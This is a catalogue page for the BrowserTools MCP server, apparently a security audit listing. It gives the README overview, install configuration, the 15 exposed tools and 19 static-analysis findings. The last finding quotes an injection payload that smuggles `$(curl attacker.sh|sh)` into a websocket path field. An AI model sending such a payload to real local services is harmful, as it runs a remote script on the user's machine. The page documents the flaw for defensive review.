Atlas / MCP servers / agentdeskai / BrowserTools MCP

BrowserTools MCPCAUTION

mcp/agentdeskai/browser-tools-mcp

Monitor browser logs directly from Cursor and other MCP compatible IDEs.

Verdict
CAUTION
Grade
B
Trust score
84 /100
Exposed tools
15 15r · 0w · 0d
Transport
stdio
License
MIT
Stars
7,330
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

Give your AI coding agent eyes on the browser. BrowserTools MCP streams console output, network activity, screenshots and Lighthouse audits from your real Chrome session — the one already logged into your app — to any MCP-compatible client: Cursor, Claude Code, Windsurf, Cline, Zed, Gemini CLI, and others.

Version 2.0 is a rewrite. One process instead of three, no unauthenticated local server, credentials scrubbed before they leave the browser, and a real test suite. If you are coming from 1.x, read MIGRATION.md — and upgrade, because 1.2.x has a critical vulnerability. See SECURITY.md.

Why this instead of a CDP-based server

Tools like Chrome DevTools MCP and Playwright MCP drive a fresh, automated browser. That is the right choice for writing tests. It is the wrong choice for debugging the app you are actually looking at, because since Chrome 136 the browser refuses remote debugging on your default profile — the one holding your logins. So you end up recreating your auth state in a throwaway profile before you can debug anything.

BrowserTools attaches to the session you are already in, through a DevTools extension. You stay logged in, on the page you were already on, and your agent reads what you see. It also reports Lighthouse-grade performance, accessibility and SEO data, which the automation-first servers do not.

Install

Two pieces: an MCP server (one command) and a Chrome extension.

1. Point your MCP client at the server

{
"mcpServers": {
"browser-tools": {
"command": "npx",
"args": ["-y", "@agentdeskai/browser-tools-mcp@latest"]
}
}
}

On Windows, if your client cannot find npx, use "command": "cmd" with "args": ["/c", "npx", "-y", "@agentdeskai/browser-tools-mcp@latest"].

Requires Node 22.19 or newer. Check with node --version; if you use nvm or asdf, make sure your editor inherits the same version.

2. Load th

Read from source at commit 93af3c56207bOBSERVED · 2026-10-12
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code (npm)
claude mcp add browser-tools-mcp -- npx -y @agentdeskai/[email protected]
03

Exposed tools (15)

15 read · 0 write · 0 destructive.

ToolRiskDescription
auditModereadA workflow for running and interpreting accessibility, performance, SEO and best-practices audits.
debuggerModereadA systematic workflow for diagnosing a problem on the live page using console and network telemetry.
getBrowserStorageread
getConnectionStatusread
getConsoleErrorsread
getConsoleLogsread
getNetworkErrorsread
getNetworkLogsread
getPageInforead
getSelectedElementread
listBrowserTabsread
nextjsSeoAuditreadSEO review tailored to Next.js applications, combining a live SEO audit with framework-specific causes.
refreshBrowserread
takeScreenshotread
wipeLogsread
04

Trust audit

CAUTIONgrade B · trust 84/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryPASS
L1Static analysis of the codeWARN
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (2 observation(s))
Network
declared (8 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
found

Findings (19)

MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/src/connector-bin.ts:61
`BrowserTools connector listening on http://127.0.0.1:${connector.port}\n` +
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/src/runtime.ts:132
if (existing && (await probe(`http://127.0.0.1:${existing.port}`))) {
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/src/runtime.ts:136
baseUrl: `http://127.0.0.1:${existing.port}`,
MEDIUMHard-coded secrets · secret.private_key · CWE-798, CWE-321
browser-tools-mcp/test/unit/redact.test.ts:83
"-----BEGIN RSA PRIVATE KEY-----\nMIIEow==\n-----END RSA PRIVATE KEY-----"
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
browser-tools-mcp/test/e2e/inject-capture.e2e.test.ts:37
const extract = new Function(
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
browser-tools-mcp/test/unit/extension-redact.test.ts:28
const extract = new Function(
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/audit.e2e.test.ts:5
import { runLighthouseAudit, AuditError, assertAuditableUrl } from "../../src/lighthouse/runner";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:11
import { createConnector, type Connector } from "../../src/connector/connector";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:12
import { InProcessConnectorClient } from "../../src/mcp/client";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:13
import { createMcpServer } from "../../src/mcp/server";
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
browser-tools-mcp/test/e2e/browser.e2e.test.ts:35
fileURLToPath(new URL("../../../chrome-extension", import.meta.url))
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/test/fixtures/server.ts:140
url: `http://127.0.0.1:${port}/`,
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
browser-tools-mcp/test/integration/attach.test.ts:80
baseUrl: `http://127.0.0.1:${connector.port}`,
LOWObfuscation / stealth · obf.base64_blob · CWE-506, CWE-94
browser-tools-mcp/test/integration/screenshot.test.ts:27
"/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAABAAEBAREA/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gA
LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94
chrome-extension/shared.js:217
return atob(aligned.replace(/-/g, "+").replace(/_/g, "/"));
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
browser-tools-mcp/package.json
@modelcontextprotocol/sdk, chrome-launcher, express, lighthouse, ws, zod, @types/express, @types/node
Why it matters. 9 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
browser-tools-server/package.json
@agentdeskai/browser-tools-mcp
Why it matters. 1 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
@types/node, @types/supertest, @types/ws, playwright, supertest, vitest
Why it matters. 6 dependency range(s) float
Fix. pin exact versions or ship a lockfile
INFOSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
docs/2.0-audit.md:102
Any web page the user visits, or anyone on the same Wi-Fi, can open `ws://127.0.0.1:3025/extension-ws`, send `{type:"screenshot-data", path:"/tmp/x'$(curl attacker.sh|sh)'", autoPaste:true}` and get s

Gates applied: no_behavioural_pass.

Audited 2026-10-12 · audit v0.4.1 · source sha 93af3c56207bfull audit observations/trust-audit/mcp-server/agentdeskai__browser-tools-mcp.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1293af3c56207bCAUTIONB84first audit
06

Questions

What is the @agentdeskai/browser-tools-mcp MCP server?

Monitor browser logs directly from Cursor and other MCP compatible IDEs.

What tools does @agentdeskai/browser-tools-mcp expose?

15 in total: 15 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is @agentdeskai/browser-tools-mcp safe to connect to an agent?

With care. The audit graded it B (84/100) and found 19 things worth knowing before you trust this server, listed below with the exact line each was found on.

What credentials does @agentdeskai/browser-tools-mcp need?

No credential environment variables were found in its source, so it appears to need none.

How does @agentdeskai/browser-tools-mcp run?

It speaks stdio, so it runs as a local process your client starts. It is published on npm as browser-tools-mcp-workspace at 2.0.2.

How current is this page?

The grade is for one exact copy of the source (93af3c56207b), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement